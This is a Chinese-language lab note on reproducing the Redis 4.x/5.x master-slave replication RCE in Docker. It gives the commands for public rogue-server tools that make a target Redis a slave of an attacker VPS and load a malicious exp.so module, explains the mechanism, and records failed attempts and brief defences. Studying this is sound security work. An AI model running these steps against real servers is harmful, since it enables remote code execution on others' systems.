Redis基于主从复制的RCE 4.x/5.x 复现

Redis 5.0(先启动redis 然后用工具去验证漏洞存在)

为什么主从复制

单节点的redis的QPS不适合千万的用户访问 而且单节点的Redis不能保证高可用，如果意外宕机，可能会导致缓存不可用

好处：

负载均衡、故障恢复、数据冗余

主从复制流程

slave连上master，开始数据同步，发送psync命令

master收到psync命令之后开始执行bgsave生成RDB快照数据并使用缓存区记录后米娜的写命令

如果master收到多个slave并发连接请求 ，他只会进行一次持久化，不是每个连接都执行一次

master执行完bgsave之后 就会向所有的slave服务器发送快照文件，并在发送期间会继续记录执行的写命令

slave收到RDB快找文件之后 就会把收到的数据写到磁盘里 清空所有旧的数据 然后从本地磁盘载入收到的快照到内存里 同时基于旧的数据版本对外服务

master发送完rdb快照 就开始向slave发送缓存区的写命令

slave完成对快照的载入 开始接受命令请求

复现

docker pull redis:5.0.14

运行

docker run -p 6379:6379 -d redis:5.0.14 redis-server

docker ps 查看是不是启动了

下载payload

git clone <https://github.com/Ridter/redis-rce.git>

图形用户界面, 文本, 应用程序, 电子邮件

描述已自动生成

redis-rce里缺个so文件 需要到 这个so文件就是恶意文件

<https://github.com/n0b0dyCN/redis-rogue-server>里去获取

执行payload

python3 redis-rce.py -r （目标ip) -L （自己的vps） -f exp.so

目标地址是安装docker的地址

自己的vps是攻击机地址，上面的payload肯定是在攻击机里的

文本, 信件

中度可信度描述已自动生成

这个版本的redis 在连接的时候没有密码也可以直接连接

上面复现没成功 之前是redis5.0.14 现在换成<=5.0.5

重新启动

docker pull redis:5.0.4

docker run -p 6379:6379 -d redis:5.0.4 redis-server

docker ps查看状态

curl 0.0.0.0:6379 正常

重新换个版本 redis 4.0.11

也不行 装了个虚拟机也不行

工具介绍

redis-rogue-server

工具的原理就是首先创建一个恶意的Redis服务器作为master 这个master主机可以回应其他连接他的redis从机的响应，有了恶意的Redis主机之后，就会远程连接目标Redis服务器，通过 slaveof 命令(Redis Slaveof 命令可以将当前服务器转变为指定服务器的从属服务器(slave server))将目标Redis服务器设置为我们恶意Redis的从机（slaver）。然后将恶意Redis主机上的exp同步到Reids从机上，并将dbfilename设置为exp.so。最后再控制Redis从机（slaver）加载模块执行系统命令即可。

（其实就是创建一个恶意的master主服务器 让其他服务器成为slave 对当前的服务器执行slaveof 就可以使得当前的服务器成为恶意服务器的slave 然后就可以控制slave从机去操作EXP）

也可以直接使用这个工具

python3 redis-rogue-server.py --rhost rhost --lhost lhost

redis-rce：

工具使用：python3 redis-rce.py -r rhost -lhost lhost -f exp.so

他总是报错：Error:-ERR unknown command `system.exec`, 监测到这个是一个命令 然后执行不了 不知道是不是因为是mac里面直接使用redis的原因 准备在mac里安装一个ubuntu

防护：

主动关闭redis的6379端口不对外开放

设置密码认证 通过远程访问redis都要密码验证才能访问